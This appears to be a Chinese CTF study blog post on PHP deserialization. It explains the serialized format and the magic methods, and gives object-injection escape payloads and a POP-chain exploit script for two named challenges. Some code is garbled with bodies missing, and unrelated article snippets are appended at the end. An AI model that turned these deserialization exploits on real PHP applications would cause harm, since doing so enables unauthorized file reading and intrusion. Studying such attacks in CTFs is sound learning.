序列化小結

2022-07-07 00:24:17 字數 4575 閱讀 7837

記一些ctf出現的序列化與反序列化的知識點和題目。

序列化就是將物件轉換成字串。字串包括 屬性名 屬性值 屬性型別和該物件對應的類名。

反序列化則相反將字串重新恢復成物件。

物件的序列化利於物件的儲存和傳輸,也可以讓多個檔案共享物件。

__construct() 建立物件時呼叫

__destruct() 銷毀物件時呼叫

__tostring() 當乙個物件被當作乙個字串使用

__sleep() 在物件在被序列化之前執行

__wakeup 將在序列化之後立即被呼叫

__get() 用於從不可訪問的屬性讀取資料

#難以訪問包括:(1)私有屬性,(2)沒有初始化的屬性

__invoke() 當指令碼嘗試將物件呼叫為函式時觸發

o:3:"ctf":3";s:4:"name";s:7:"sch0lar";s:3:"age";s:2:"18";}

o代表物件 因為我們序列化的是乙個物件 序列化陣列則用a來表示

3 代表類名字佔三個字元

ctf 類名

3 代表三個屬性

s代表字串

4代表屬性名長度

flag屬性名

s:13:"flag" 字串 屬性值長度 屬性值

i:100 i是數字

a

array陣列

bboolean判斷型別

ddouble浮點數

iinteger整數型

ocommon object 一般的物件

rreference引用型別

sstring字串型別

ccustom object

oclass

nnull

rpointer reference

uunicode string

根據訪問控制修飾符的不同 序列化後的 屬性長度和屬性值會有所不同,所以這裡簡單提一下

public(公有)

protected(受保護)

private(私有的)

protected屬性被序列化的時候屬性值會變成:%00*%00屬性名

private屬性被序列化的時候屬性值會變成:%00類名%00屬性名

就像這樣

o:4:"name":2://這裡是private屬性被序列化
通常,做序列化題目,如果原始碼只是反序列化,一般是需要構造pop鏈為好,如果是由序列化又有反序列化,可能是序列化繞過

原理:大概就是利用客戶端可控引數,偽造成型的序列化結構,來擠出不需要的屬性值

條件:題目:[安洵杯 2019]easy_serialize_php

<?php

$function = @$_get['f'];

function filter($img)

if($_session)

$_session["user"] = 'guest';

$_session['function'] = $function;

extract($_post);

if(!$function)

if(!$_get['img_path'])else

$serialize_info = filter(serialize($_session));

if($function == 'highlight_file')else if($function == 'phpinfo')else if($function == 'show_image')

還有乙個層面的逃逸

鍵逃逸這兒需要兩個連續的鍵值對,由第乙個的值覆蓋第二個的鍵,這樣第二個值就逃逸出去,單獨作為乙個鍵值對

_session[user]=flagflagflagflagflagflag&_session[function]=a";s:3:"img";s:20:"zdbnm19mmwfnlnboca==";s:2:"dd";s:1:"a";}&function=show_image

值逃逸這兒只需要乙個鍵值對就行了,我們直接構造會被過濾的鍵,這樣值得一部分充當鍵,剩下得一部分作為單獨得鍵值對

_session[flagphp]=;s:1:"1";s:3:"img";s:20:"zdbnm19mmwfnlnboca==";}

從題來看

filter是個過濾函式,能夠將黑名單的字串刪除,這就給了我們逃逸的機會

extract覆蓋了兩個屬性,我們能夠自定義屬性,雖然控制不了img,但是就可以擠出他去

playload

_session[flagphp]=;s:1:"1";s:3:"img";s:20:"zdbnm19mmwfnlnboca==";}
原理:

就是**審計,要耐心,雖然耐心也不一定能成功

條件:沒啥條件,就看得出來他只給你留一條路,通過魔術方法的呼叫來實現引用

看題:[mrctf2020]ezpop

welcome to index.php

<?php

//flag is in flag.php

//wtf is this?

//learn from

//and crack it!

class modifier

public function __invoke()

}class show

public function __tostring()

public function __wakeup()

}}class test

public function __get($key)

}if(isset($_get['pop']))

else

這種題的重點是在構建pop鏈上,只要將pop鏈構建好,直接貼playload就成功

但pop鏈怎麼構造,需要審計,看哥哥方法之間的聯絡

就比如說,我們在這裡能夠最終得到flag的地方只有

include($value);

}這個include才行

那怎麼到include,只有下面的invoke方法

public function __invoke()
invoke是魔術方法,是將類當作函式使用的時候會自動呼叫

我們能將看到,在test類中有個function是被當作函式使用,所以我們可以賦給function modifier類

而function是p屬性賦給的,所以我們賦給p屬性modifer類

而呼叫get方法,需要在test類中呼叫不存在的屬性或別的東西,所以我們可以借助show類中的$this->str->source

使str為test類,source屬性不在test中存在,就可以呼叫get方法,

而如何呼叫tostring方法,只有在將類當作字串使用時候,會自動呼叫tostring

我們可以借用wakeup中的preg_match函式,因為在進行比較的時候,會將$this->source當作字串使用

那我們如何呼叫wakeup方法,只有在反序列化的時候會自動呼叫,所以我們就可以構建pop鏈了

<?php

class modifier

public function __invoke()

}class show

public function __tostring()

public function __wakeup()

}}class test

}$a=new show();

$b=new show();

$a->source=$b;

$a->source->str=new test();

$a->source->str->p=new modifier();

print(urlencode(serialize($a)));

構建完,將playload一貼就好了

問題原始碼

#簡化版:

<?php

class a

$a =new a();

$a->expire=0;

$a->key='nidaye.php';

問題報錯形式:

fatal error: uncaught error: cannot access protected property a::$expire in d:\phpstudy_pro\www\new.php:102 stack trace: #0  thrown in d:\phpstudy_pro\www\new.php on line 102
原因:受保護的屬性或方法不允許在外部呼叫

改進方法:在內部呼叫

<?php

class a

$a =new a();

序列化小結

wiki的描述如下 序列化在電腦科學的資料處理中,是指將資料結構或物件狀態轉換成可取用格式 例如存成檔案,存於緩衝,或經由網路中傳送 以留待後續在相同或另一台計算機環境中,能恢復原先狀態的過程。筆者個人理解如下 此處為了便於讀者理解舉個例子 現在有乙個 student類,有name,age等引數。需...

物件序列化 經驗小結

net的物件序列化真是好東西,以後要多多利用。在使用.net的序列化時,碰到過一些問題,還好,有豐富的msdn可查,沒有什麼過不去的檻。在這裡,把使用.net序列化的經驗小結一下。1.基本確認xmlserializer使用utf8對序列化的xml文件編碼。2.xmlserializer只序列化宣告為...

序列化(序列化)

原書上翻譯為序列化,msdn翻譯為序列化 作用 當需要儲存,或者網路傳輸 remoting時,資料 物件或值 需要序列化 類似於打包傳輸檔案。system.serializableattribute 序列化是指儲存和獲取磁碟檔案 記憶體或其他地方中的物件。在序列化時,所有的例項資料都儲存到儲存介質上...